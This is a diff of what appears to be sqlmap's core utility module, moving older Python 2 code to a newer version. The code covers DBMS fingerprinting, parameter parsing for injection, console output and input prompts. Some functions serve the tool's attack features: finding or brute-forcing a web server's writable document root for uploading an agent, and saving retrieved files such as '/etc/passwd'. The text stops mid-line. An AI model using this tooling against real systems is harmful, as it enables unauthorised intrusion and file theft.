setOs(os): msg += "correct [%s (default)/%s] " % (kb.os, os) while True: - _ = readInput(msg, default=kb.os) + choice = readInput(msg, default=kb.os) - if _ == kb.os: + if choice == kb.os: break - elif _ == os: - kb.os = _.capitalize() + elif choice == os: + kb.os = choice.capitalize() break else: warnMsg = "invalid value" - logger.warn(warnMsg) + logger.warning(warnMsg) - elif kb.os is None and isinstance(os, basestring): + elif kb.os is None and isinstance(os, six.string_types): kb.os = os.capitalize() return kb.os @@ -350,7 +449,7 @@ def setOsVersion(version): if version is None: return None - elif kb.osVersion is None and isinstance(version, basestring): + elif kb.osVersion is None and isinstance(version, six.string_types): kb.osVersion = version @staticmethod @@ -368,25 +467,25 @@ def setArch(): msg += "\n[2] 64-bit" while True: - _ = readInput(msg, default='1') + choice = readInput(msg, default='1') - if isinstance(_, basestring) and _.isdigit() and int(_) in (1, 2): - kb.arch = 32 if int(_) == 1 else 64 + if hasattr(choice, "isdigit") and choice.isdigit() and int(choice) in (1, 2): + kb.arch = 32 if int(choice) == 1 else 64 break else: warnMsg = "invalid value. Valid values are 1 and 2" - logger.warn(warnMsg) + logger.warning(warnMsg) return kb.arch # Get methods @staticmethod def getForcedDbms(): - return aliasToDbmsEnum(kb.forcedDbms) + return aliasToDbmsEnum(conf.get("forceDbms")) or aliasToDbmsEnum(kb.get("forcedDbms")) @staticmethod def getDbms(): - return aliasToDbmsEnum(kb.dbms) if kb.get('dbms') else None + return aliasToDbmsEnum(kb.get("dbms")) @staticmethod def getErrorParsedDBMSes(): @@ -395,43 +494,55 @@ def getErrorParsedDBMSes(): This functions is called to: - 1. Sort the tests, getSortedInjectionTests() - detection phase. - 2. Ask user whether or not skip specific DBMS tests in detection phase, + 1. Ask user whether or not skip specific DBMS tests in detection phase, lib/controller/checks.py - detection phase. - 3. Sort the fingerprint of the DBMS, lib/controller/handler.py - + 2. Sort the fingerprint of the DBMS, lib/controller/handler.py - fingerprint phase. """ - return kb.htmlFp if kb.heuristicTest is not None else [] + return kb.htmlFp if kb.get("heuristicTest") == HEURISTIC_TEST.POSITIVE else [] @staticmethod def getIdentifiedDbms(): + """ + This functions is called to: + + 1. Sort the tests, getSortedInjectionTests() - detection phase. + 2. Etc. + """ + dbms = None if not kb: pass + elif not kb.get("testMode") and conf.get("dbmsHandler") and getattr(conf.dbmsHandler, "_dbms", None): + dbms = conf.dbmsHandler._dbms elif Backend.getForcedDbms() is not None: dbms = Backend.getForcedDbms() elif Backend.getDbms() is not None: - dbms = kb.dbms - elif conf.get('dbms'): - dbms = conf.dbms - elif len(Backend.getErrorParsedDBMSes()) > 0: - dbms = Backend.getErrorParsedDBMSes()[0] + dbms = Backend.getDbms() + elif kb.get("injection") and kb.injection.dbms: + dbms = unArrayizeValue(kb.injection.dbms) + elif Backend.getErrorParsedDBMSes(): + dbms = unArrayizeValue(Backend.getErrorParsedDBMSes()) + elif conf.get("dbms"): + dbms = conf.get("dbms") return aliasToDbmsEnum(dbms) @staticmethod def getVersion(): - if len(kb.dbmsVersion) > 0: - return kb.dbmsVersion[0] + versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion] + if not isNoneValue(versions): + return versions[0] else: return None @staticmethod def getVersionList(): - if len(kb.dbmsVersion) > 0: - return kb.dbmsVersion + versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion] + if not isNoneValue(versions): + return versions else: return None @@ -456,10 +567,13 @@ def getArch(): # Comparison methods @staticmethod def isDbms(dbms): - if Backend.getDbms() is not None: - return Backend.getDbms() == aliasToDbmsEnum(dbms) - else: - return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms) + if not kb.get("testMode") and all((Backend.getDbms(), Backend.getIdentifiedDbms())) and Backend.getDbms() != Backend.getIdentifiedDbms(): + singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms())) + return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms) + + @staticmethod + def isFork(fork): + return hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) == fork @staticmethod def isDbmsWithin(aliases): @@ -482,21 +596,23 @@ def isVersionWithin(versionList): @staticmethod def isVersionGreaterOrEqualThan(version): - return Backend.getVersion() is not None and str(Backend.getVersion()) >= str(version) + retVal = False + + if all(_ not in (None, UNKNOWN_DBMS_VERSION) for _ in (Backend.getVersion(), version)): + _version = unArrayizeValue(Backend.getVersion()) + _version = re.sub(r"[<>= ]", "", _version) + + try: + retVal = LooseVersion(_version) >= LooseVersion(version) + except: + retVal = str(_version) >= str(version) + + return retVal @staticmethod def isOs(os): return Backend.getOs() is not None and Backend.getOs().lower() == os.lower() -# Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ -def cachedmethod(f, cache={}): - def _(*args, **kwargs): - key = (f, tuple(args), frozenset(kwargs.items())) - if key not in cache: - cache[key] = f(*args, **kwargs) - return cache[key] - return _ - def paramToDict(place, parameters=None): """ Split the parameters into names and values, check if these parameters @@ -508,144 +624,288 @@ def paramToDict(place, parameters=None): if place in conf.parameters and not parameters: parameters = conf.parameters[place] - if place != PLACE.SOAP: - parameters = parameters.replace(", ", ",") - parameters = re.sub(r"&(\w{1,4});", r"%s\g<1>%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), parameters) - splitParams = parameters.split(conf.pDel or (DEFAULT_COOKIE_DELIMITER if place == PLACE.COOKIE else DEFAULT_GET_POST_DELIMITER)) - - for element in splitParams: - element = re.sub(r"%s(.+?)%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), r"&\g<1>;", element) - elem = element.split("=") - - if len(elem) >= 2: - parameter = elem[0].replace(" ", "") - - condition = not conf.testParameter - condition |= parameter in conf.testParameter - - if condition: - testableParameters[parameter] = "=".join(elem[1:]) - if not conf.multipleTargets: - if testableParameters[parameter].strip(DUMMY_SQL_INJECTION_CHARS) != testableParameters[parameter]\ - or re.search(r'\A9{3,}', testableParameters[parameter]) or re.search(DUMMY_USER_INJECTION, testableParameters[parameter]): - warnMsg = "it appears that you have provided tainted parameter values " - warnMsg += "('%s') with most probably leftover " % element - warnMsg += "chars from manual SQL injection " - warnMsg += "tests (%s) or non-valid numerical value. " % DUMMY_SQL_INJECTION_CHARS - warnMsg += "Please, always use only valid parameter values " - warnMsg += "so sqlmap could be able to properly run " - logger.warn(warnMsg) - - message = "Are you sure you want to continue? [y/N] " - test = readInput(message, default="N") - if test[0] not in ("y", "Y"): - raise sqlmapSilentQuitException - + parameters = re.sub(r"&(\w{1,4});", r"%s\g<1>%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), parameters) + if place == PLACE.COOKIE: + splitParams = parameters.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER) else: - root = ET.XML(parameters) - iterator = root.getiterator() + splitParams = parameters.split(conf.paramDel or DEFAULT_GET_POST_DELIMITER) - for child in iterator: - parameter = child.tag + for element in splitParams: + element = re.sub(r"%s(.+?)%s" % (PARAMETER_AMP_MARKER, PARAMETER_SEMICOLON_MARKER), r"&\g<1>;", element) + parts = element.split("=") - if "}" in parameter: - testParam = parameter.split("}")[1] - else: - testParam = parameter + if len(parts) >= 2: + parameter = urldecode(parts[0].replace(" ", "")) + + if not parameter: + continue + + if conf.paramDel and conf.paramDel == '\n': + parts[-1] = parts[-1].rstrip() condition = not conf.testParameter - condition |= testParam in conf.testParameter + condition |= conf.testParameter is not None and parameter in conf.testParameter + condition |= place == PLACE.COOKIE and len(intersect((PLACE.COOKIE,), conf.testParameter, True)) > 0 if condition: - testableParameters[parameter] = child.text + value = "=".join(parts[1:]) + + if parameter in (conf.base64Parameter or []): + try: + kb.base64Originals[parameter] = oldValue = value + value = urldecode(value, convall=True) + value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING) + parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters) + except: + errMsg = "parameter '%s' does not contain " % parameter + errMsg += "valid Base64 encoded value ('%s')" % value + raise SqlmapValueException(errMsg) + + testableParameters[parameter] = value + + if not conf.multipleTargets and not (conf.csrfToken and re.search(conf.csrfToken, parameter, re.I)): + _ = urldecode(testableParameters[parameter], convall=True) + if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not re.search(GOOGLE_ANALYTICS_COOKIE_REGEX, parameter): + warnMsg = "it appears that you have provided tainted parameter values " + warnMsg += "('%s') with most likely leftover " % element + warnMsg += "chars/statements from manual SQL injection test(s). " + warnMsg += "Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warning(warnMsg) + + message = "are you really sure that you want to continue (sqlmap could have problems)? [y/N] " + + if not readInput(message, default='N', boolean=True): + raise SqlmapSilentQuitException + elif not _: + warnMsg = "provided value for parameter '%s' is empty. " % parameter + warnMsg += "Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warning(warnMsg) + + if place in (PLACE.POST, PLACE.GET): + for regex in (r"\A((?:<[^>]+>)+\w+)((?:<[^>]+>)+)\Z", r"\A([^\w]+.*\w+)([^\w]+)\Z"): + match = re.search(regex, testableParameters[parameter]) + if match: + try: + candidates = OrderedDict() + + def walk(head, current=None): + if current is None: + current = head + if isListLike(current): + for _ in current: + walk(head, _) + elif isinstance(current, dict): + for key in current.keys(): + value = current[key] + if isinstance(value, (bool, int, float, six.string_types)) or value in (None, []): + original = current[key] + if isinstance(value, bool): + current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER) + elif value is None: + current[key] = "%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER) + elif value == []: + current[key] = ["%s%s" % (randomInt(), BOUNDED_INJECTION_MARKER)] + else: + current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER) + candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters) + current[key] = original + elif isinstance(value, (list, tuple, set, dict)): + if value: + walk(head, value) + + # NOTE: for cases with custom injection marker(s) inside (e.g. https://github.com/sqlmapproject/sqlmap/issues/4137#issuecomment-2013783111) - p.s. doesn't care too much about the structure (e.g. injection into the flat array values) + if CUSTOM_INJECTION_MARK_CHAR in testableParameters[parameter]: + for match in re.finditer(r'(\w+)[^\w]*"\s*:[^\w]*\w*%s' % re.escape(CUSTOM_INJECTION_MARK_CHAR), testableParameters[parameter]): + key = match.group(1) + value = testableParameters[parameter].replace(match.group(0), match.group(0).replace(CUSTOM_INJECTION_MARK_CHAR, BOUNDED_INJECTION_MARKER)) + candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % value, parameters) + + if not candidates: + deserialized = json.loads(testableParameters[parameter]) + walk(deserialized) + + if candidates: + message = "it appears that provided value for %sparameter '%s' " % ("%s " % place if place != parameter else "", parameter) + message += "is JSON deserializable. Do you want to inject inside? [y/N] " + + if readInput(message, default='N', boolean=True): + del testableParameters[parameter] + testableParameters.update(candidates) + break + except (KeyboardInterrupt, SqlmapUserQuitException): + raise + except Exception: + pass + + _ = re.sub(regex, r"\g<1>%s\g<%d>" % (kb.customInjectionMark, len(match.groups())), testableParameters[parameter]) + message = "it appears that provided value for %sparameter '%s' " % ("%s " % place if place != parameter else "", parameter) + message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_) + + if readInput(message, default='N', boolean=True): + testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter].replace("\\", r"\\"))), parameters) + break - if conf.testParameter and not testableParameters: - paramStr = ", ".join(test for test in conf.testParameter) + if conf.testParameter: + if not testableParameters: + paramStr = ", ".join(test for test in conf.testParameter) - if len(conf.testParameter) > 1: - warnMsg = "provided parameters '%s' " % paramStr - warnMsg += "are not inside the %s" % place - logger.warn(warnMsg) - else: - parameter = conf.testParameter[0] + if len(conf.testParameter) > 1: + warnMsg = "provided parameters '%s' " % paramStr + warnMsg += "are not inside the %s" % place + logger.warning(warnMsg) + else: + parameter = conf.testParameter[0] + + if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True): + debugMsg = "provided parameter '%s' " % paramStr + debugMsg += "is not inside the %s" % place + logger.debug(debugMsg) - if not intersect(USER_AGENT_ALIASES + REFERER_ALIASES + HOST_ALIASES, parameter, True): - warnMsg = "provided parameter '%s' " % paramStr - warnMsg += "is not inside the %s" % place - logger.warn(warnMsg) + elif len(conf.testParameter) != len(testableParameters): + for parameter in conf.testParameter: + if parameter not in testableParameters: + debugMsg = "provided parameter '%s' " % parameter + debugMsg += "is not inside the %s" % place + logger.debug(debugMsg) - elif len(conf.testParameter) != len(testableParameters.keys()): - for parameter in conf.testParameter: - if parameter not in testableParameters: - warnMsg = "provided parameter '%s' " % parameter - warnMsg += "is not inside the %s" % place - logger.warn(warnMsg) + if testableParameters: + for parameter, value in testableParameters.items(): + if value and not value.isdigit(): + for encoding in ("hex", "base64"): + try: + decoded = codecs.decode(value, encoding) + if len(decoded) > MIN_ENCODED_LEN_CHECK and all(_ in getBytes(string.printable) for _ in decoded): + warnMsg = "provided parameter '%s' " % parameter + warnMsg += "appears to be '%s' encoded" % encoding + logger.warning(warnMsg) + break + except: + pass return testableParameters -def getDocRoot(): - docRoot = None - pagePath = directoryPath(conf.path) - - if Backend.isOs(OS.WINDOWS): - defaultDocRoot = ["C:/xampp/htdocs/", "C:/Inetpub/wwwroot/"] - else: - defaultDocRoot = ["/var/www/"] +def getManualDirectories(): + directories = None + defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX]) if kb.absFilePaths: for absFilePath in kb.absFilePaths: + if directories: + break + if directoryPath(absFilePath) == '/': continue absFilePath = normalizePath(absFilePath) - absFilePathWin = None + windowsDriveLetter = None - if isWindowsPath(absFilePath): - absFilePathWin = posixToNtSlashes(absFilePath) - absFilePath = ntToPosixSlashes(absFilePath[2:]) - elif isWindowsDriveLetterPath(absFilePath): - absFilePath = absFilePath[2:] + if isWindowsDriveLetterPath(absFilePath): + windowsDriveLetter, absFilePath = absFilePath[:2], absFilePath[2:] + absFilePath = ntToPosixSlashes(posixToNtSlashes(absFilePath)) - if pagePath in absFilePath: - index = absFilePath.index(pagePath) - docRoot = absFilePath[:index] + for _ in list(GENERIC_DOC_ROOT_DIRECTORY_NAMES) + [conf.hostname]: + _ = "/%s/" % _ - if len(docRoot) == 0: - docRoot = None - continue + if _ in absFilePath: + directories = "%s%s" % (absFilePath.split(_)[0], _) + break - if absFilePathWin: - docRoot = "C:/%s" % ntToPosixSlashes(docRoot) + if not directories and conf.path.strip('/') and conf.path in absFilePath: + directories = absFilePath.split(conf.path)[0] - docRoot = normalizePath(docRoot) - break + if directories and windowsDriveLetter: + directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories)) + + directories = normalizePath(directories) - if docRoot: - infoMsg = "retrieved the web server document root: '%s'" % docRoot + if conf.webRoot: + directories = [conf.webRoot] + infoMsg = "using '%s' as web server document root" % conf.webRoot + logger.info(infoMsg) + elif directories: + infoMsg = "retrieved the web server document root: '%s'" % directories logger.info(infoMsg) else: - warnMsg = "unable to retrieve the web server document root" - logger.warn(warnMsg) - - message = "please provide the web server document root " - message += "[%s]: " % ",".join(root for root in defaultDocRoot) - inputDocRoot = readInput(message, default=defaultDocRoot) + warnMsg = "unable to automatically retrieve the web server " + warnMsg += "document root" + logger.warning(warnMsg) - if inputDocRoot: - if isinstance(inputDocRoot, basestring): - docRoot = inputDocRoot.split(',') + directories = [] + + message = "what do you want to use for writable directory?\n" + message += "[1] common location(s) ('%s') (default)\n" % ", ".join(root for root in defaultDocRoot) + message += "[2] custom location(s)\n" + message += "[3] custom directory list file\n" + message += "[4] brute force search" + choice = readInput(message, default='1') + + if choice == '2': + message = "please provide a comma separate list of absolute directory paths: " + directories = readInput(message, default="").split(',') + elif choice == '3': + message = "what's the list file location?\n" + listPath = readInput(message, default="") + checkFile(listPath) + directories = getFileItems(listPath) + elif choice == '4': + targets = set([conf.hostname]) + _ = conf.hostname.split('.') + + if _[0] == "www": + targets.add('.'.join(_[1:])) + targets.add('.'.join(_[1:-1])) else: - docRoot = inputDocRoot + targets.add('.'.join(_[:-1])) + + targets = filterNone(targets) + + for prefix in BRUTE_DOC_ROOT_PREFIXES.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX]): + if BRUTE_DOC_ROOT_TARGET_MARK in prefix and re.match(IP_ADDRESS_REGEX, conf.hostname): + continue + + for suffix in BRUTE_DOC_ROOT_SUFFIXES: + for target in targets: + if not prefix.endswith("/%s" % suffix): + item = "%s/%s" % (prefix, suffix) + else: + item = prefix + + item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/') + if item not in directories: + directories.append(item) + + if BRUTE_DOC_ROOT_TARGET_MARK not in prefix: + break + + infoMsg = "using generated directory list: %s" % ','.join(directories) + logger.info(infoMsg) + + msg = "use any additional custom directories [Enter for None]: " + answer = readInput(msg) + + if answer: + directories.extend(answer.split(',')) + else: - docRoot = defaultDocRoot + directories = defaultDocRoot + + return directories - return docRoot +def getAutoDirectories(): + """ + >>> pushValue(kb.absFilePaths) + >>> kb.absFilePaths = [r"C:\\inetpub\\wwwroot\\index.asp", "/var/www/html"] + >>> getAutoDirectories() + ['C:/inetpub/wwwroot', '/var/www/html'] + >>> kb.absFilePaths = popValue() + """ -def getDirs(): - directories = set("/") + retVal = OrderedSet() if kb.absFilePaths: - infoMsg = "retrieved web server full paths: " + infoMsg = "retrieved web server absolute paths: " infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths) logger.info(infoMsg) @@ -653,34 +913,28 @@ def getDirs(): if absFilePath: directory = directoryPath(absFilePath) directory = ntToPosixSlashes(directory) - directories.add(directory) + retVal.add(directory) else: - warnMsg = "unable to retrieve any web server path" - logger.warn(warnMsg) - - webDir = extractRegexResult(r"//[^/]+?/(?P.*)/.", conf.url) - if webDir: - directories.add(webDir) + warnMsg = "unable to automatically parse any web server path" + logger.warning(warnMsg) - message = "please provide any additional web server full path to try " - message += "to upload the agent [Enter for None]: " - inputDirs = readInput(message) + return list(retVal) - if inputDirs: - inputDirs = inputDirs.replace(", ", ",") - inputDirs = inputDirs.split(",") +def filePathToSafeString(filePath): + """ + Returns string representation of a given filepath safe for a single filename usage - for inputDir in inputDirs: - if inputDir: - directories.add(inputDir) + >>> filePathToSafeString('C:/Windows/system32') + 'C__Windows_system32' + """ - return directories + retVal = filePath.replace("/", "_").replace("\\", "_") + retVal = retVal.replace(" ", "_").replace(":", "_") -def filePathToString(filePath): - strRepl = filePath.replace("/", "_").replace("\\", "_") - strRepl = strRepl.replace(" ", "_").replace(":", "_") + return retVal - return strRepl +def singleTimeDebugMessage(message): + singleTimeLogMessage(message, logging.DEBUG) def singleTimeWarnMessage(message): singleTimeLogMessage(message, logging.WARN) @@ -689,224 +943,605 @@ def singleTimeLogMessage(message, level=logging.INFO, flag=None): if flag is None: flag = hash(message) - if flag not in kb.singleLogFlags: + if not conf.smokeTest and flag not in kb.singleLogFlags: kb.singleLogFlags.add(flag) logger.log(level, message) -def dataToStdout(data, forceOutput=False): +def boldifyMessage(message, istty=None): + """ + Sets ANSI bold marking on entire message if parts found in predefined BOLD_PATTERNS + + >>> boldifyMessage("Hello World", istty=True) + 'Hello World' + + >>> boldifyMessage("GET parameter id is not injectable", istty=True) + '\\x1b[1mGET parameter id is not injectable\\x1b[0m' + """ + + retVal = message + + if re.search(BOLD_PATTERNS_REGEX, message): + retVal = setColor(message, bold=True, istty=istty) + + return retVal + +def setColor(message, color=None, bold=False, level=None, istty=None): + """ + Sets ANSI color codes + + >>> setColor("Hello World", color="red", istty=True) + '\\x1b[31mHello World\\x1b[0m' + >>> setColor("[INFO] Hello World", istty=True) + '[\\x1b[32mINFO\\x1b[0m] Hello World' + >>> setColor("[INFO] Hello [CRITICAL] World", istty=True) + '[INFO] Hello [CRITICAL] World' + """ + + retVal = message + + if message: + if (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler + if level is None: + levels = re.findall(r"\[(?P%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) + + if len(levels) == 1: + level = levels[0] + + if bold or color: + retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None) + elif level: + try: + level = getattr(logging, level, None) + except: + level = None + retVal = LOGGER_HANDLER.colorize(message, level, True) + else: + match = re.search(r"\(([^)]*)\s*fork\)", message) + if match: + retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey")) + + if not any(_ in message for _ in ("Payload: ",)): + for match in re.finditer(r"([^\w])'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner) + retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey"))) + + message = message.strip() + + return retVal + +def clearColors(message): + """ + Clears ANSI color codes + + >>> clearColors("\x1b[38;5;82mHello \x1b[38;5;198mWorld") + 'Hello World' + """ + + retVal = message + + if isinstance(message, str): + retVal = re.sub(r"\x1b\[[\d;]+m", "", message) + + return retVal + +def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=CONTENT_STATUS.IN_PROGRESS, coloring=True): """ Writes text to the stdout (console) stream """ + if not IS_TTY and isinstance(data, six.string_types) and data.startswith("\r"): + if re.search(r"\(\d+%\)", data): + data = "" + else: + data = "\n%s" % data.strip("\r") + if not kb.get("threadException"): - if forceOutput or not getCurrentThreadData().disableStdOut: - try: - if kb.get("multiThreadMode"): - logging._acquireLock() - # Reference: http://bugs.python.org/issue1602 - if IS_WIN: - output = data.encode('ascii', "replace") - - if output != data: - warnMsg = "cannot properly display Unicode characters " - warnMsg += "inside Windows OS command prompt " - warnMsg += "(http://bugs.python.org/issue1602). All " - warnMsg += "unhandled occurances will result in " - warnMsg += "replacement with '?' character. Please, find " - warnMsg += "proper character representation inside " - warnMsg += "corresponding output files. " - singleTimeWarnMessage(warnMsg) + if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")): + multiThreadMode = kb.get("multiThreadMode") + if multiThreadMode: + logging._acquireLock() - sys.stdout.write(output) + try: + if conf.get("api"): + sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType) else: - sys.stdout.write(data.encode(sys.stdout.encoding)) - except: - sys.stdout.write(data.encode(UNICODE_ENCODING)) + sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data))) + except IOError: + pass + except UnicodeEncodeError: + sys.stdout.write(re.sub(r"[^ -~]", '?', clearColors(data))) finally: - sys.stdout.flush() - if kb.get("multiThreadMode"): - logging._releaseLock() - setFormatterPrependFlag(len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n') + try: + sys.stdout.flush() + except IOError: + raise SystemExit + + if multiThreadMode: + logging._releaseLock() + + kb.prependFlag = isinstance(data, six.string_types) and (len(data) == 1 and data not in ('\n', '\r') or len(data) > 2 and data[0] == '\r' and data[-1] != '\n') def dataToTrafficFile(data): if not conf.trafficFile: return - conf.trafficFP.write(data) - conf.trafficFP.flush() + try: + conf.trafficFP.write(data) + conf.trafficFP.flush() + except IOError as ex: + errMsg = "something went wrong while trying " + errMsg += "to write to the traffic file '%s' ('%s')" % (conf.trafficFile, getSafeExString(ex)) + raise SqlmapSystemException(errMsg) def dataToDumpFile(dumpFile, data): - dumpFile.write(data) - dumpFile.flush() + try: + dumpFile.write(data) + dumpFile.flush() + except IOError as ex: + if "No space left" in getUnicode(ex): + errMsg = "no space left on output device" + logger.error(errMsg) + elif "Permission denied" in getUnicode(ex): + errMsg = "permission denied when flushing dump data" + logger.error(errMsg) + else: + errMsg = "error occurred when writing dump data to file ('%s')" % getUnicode(ex) + logger.error(errMsg) -def dataToOutFile(data): - if not data: - return "No data retrieved" +def dataToOutFile(filename, data): + """ + Saves data to filename - retVal = "%s%s%s" % (conf.filePath, os.sep, filePathToString(conf.rFile)) + >>> pushValue(conf.get("filePath")) + >>> conf.filePath = tempfile.gettempdir() + >>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*") + True + >>> conf.filePath = popValue() + """ - with codecs.open(retVal, "wb") as f: - f.write(data) + retVal = None - return retVal + if data: + while True: + retVal = os.path.join(conf.filePath, filePathToSafeString(filename)) -def strToHex(value): - """ - Converts string value to it's hexadecimal representation - """ + try: + with open(retVal, "w+b") as f: # has to stay as non-codecs because data is raw ASCII encoded data + f.write(getBytes(data)) + except UnicodeEncodeError as ex: + _ = normalizeUnicode(filename) + if filename != _: + filename = _ + else: + errMsg = "couldn't write to the " + errMsg += "output file ('%s')" % getSafeExString(ex) + raise SqlmapGenericException(errMsg) + except IOError as ex: + errMsg = "something went wrong while trying to write " + errMsg += "to the output file ('%s')" % getSafeExString(ex) + raise SqlmapGenericException(errMsg) + else: + break - return (value if not isinstance(value, unicode) else value.encode(UNICODE_ENCODING)).encode("hex").upper() + return retVal -def readInput(message, default=None, checkBatch=True): +def readInput(message, default=None, checkBatch=True, boolean=False): """ Reads input from terminal """ + retVal = None + + message = getUnicode(message) + if "\n" in message: message += "%s> " % ("\n" if message.count("\n") > 1 else "") elif message[-1] == ']': message += " " - if checkBatch and conf.batch: - if isListLike(default): - options = ",".join(getUnicode(opt, UNICODE_ENCODING) for opt in default) - elif default: - options = getUnicode(default, UNICODE_ENCODING) - else: - options = unicode() + if kb.get("prependFlag"): + message = "\n%s" % message + kb.prependFlag = False - infoMsg = "%s%s" % (getUnicode(message), options) - logger.info(infoMsg) + if conf.get("answers"): + if not any(_ in conf.answers for _ in ",="): + return conf.answers + + for item in conf.answers.split(','): + question = item.split('=')[0].strip() + answer = item.split('=')[1] if len(item.split('=')) > 1 else None + if answer and question.lower() in message.lower(): + retVal = getUnicode(answer, UNICODE_ENCODING) + elif answer is None and retVal: + retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING)) + + if message and IS_TTY: + message = "\r%s" % message - debugMsg = "used the default behaviour, running in batch mode" + if retVal: + dataToStdout("%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True) + + debugMsg = "used the given answer" logger.debug(debugMsg) - data = default + if retVal is None: + if checkBatch and conf.get("batch") or any(conf.get(_) for _ in ("api", "nonInteractive")): + if isListLike(default): + options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default) + elif default: + options = getUnicode(default, UNICODE_ENCODING) + else: + options = six.text_type() + + dataToStdout("%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True) + + debugMsg = "used the default behavior, running in batch mode" + logger.debug(debugMsg) + + retVal = default + else: + try: + logging._acquireLock() + + if conf.get("beep"): + beep() + + dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True) + kb.prependFlag = False + + retVal = _input() + if not retVal: # Note: Python doesn't print newline on empty input + dataToStdout("\n") + retVal = retVal.strip() or default + retVal = getUnicode(retVal, encoding=getattr(sys.stdin, "encoding", None)) if retVal else retVal + except: + try: + time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893 + except: + pass + finally: + kb.prependFlag = True + raise SqlmapUserQuitException + + finally: + logging._releaseLock() + + if retVal and default and isinstance(default, six.string_types) and len(default) == 1: + retVal = retVal.strip() + + if boolean: + retVal = retVal.strip().upper() == 'Y' else: - logging._acquireLock() - dataToStdout("\r%s" % message, True) - data = raw_input() or default - #data = raw_input(message.encode(sys.stdout.encoding or UNICODE_ENCODING)) - logging._releaseLock() + retVal = retVal or "" - return data + return retVal + +def setTechnique(technique): + """ + Thread-safe setting of currently used technique (Note: dealing with cases of per-thread technique switching) + """ -def randomRange(start=0, stop=1000): + getCurrentThreadData().technique = technique + +def getTechnique(): + """ + Thread-safe getting of currently used technique + """ + + return getCurrentThreadData().technique or kb.get("technique") + +def randomRange(start=0, stop=1000, seed=None): """ Returns random integer value in given range + + >>> random.seed(0) + >>> randomRange(1, 500) + 152 """ - return int(random.randint(start, stop)) + if seed is not None: + _ = getCurrentThreadData().random + _.seed(seed) + randint = _.randint + else: + randint = random.randint + + return int(randint(start, stop)) -def randomInt(length=4): +def randomInt(length=4, seed=None): """ Returns random integer value with provided number of digits + + >>> random.seed(0) + >>> randomInt(6) + 963638 """ - return int("".join(random.choice(string.digits if i!=0 else string.digits.replace('0', '')) for i in xrange(0, length))) + if seed is not None: + _ = getCurrentThreadData().random + _.seed(seed) + choice = _.choice + else: + choice = random.choice + + return int("".join(choice(string.digits if _ != 0 else string.digits.replace('0', '')) for _ in xrange(0, length))) -def randomStr(length=4, lowercase=False, alphabet=None): +def randomStr(length=4, lowercase=False, alphabet=None, seed=None): """ Returns random string value with provided number of characters + + >>> random.seed(0) + >>> randomStr(6) + 'FUPGpY' """ + if seed is not None: + _random = getCurrentThreadData().random + _random.seed(seed) + choice = _random.choice + else: + choice = random.choice + if alphabet: - retVal = "".join(random.choice(alphabet) for _ in xrange(0, length)) + retVal = "".join(choice(alphabet) for _ in xrange(0, length)) elif lowercase: - retVal = 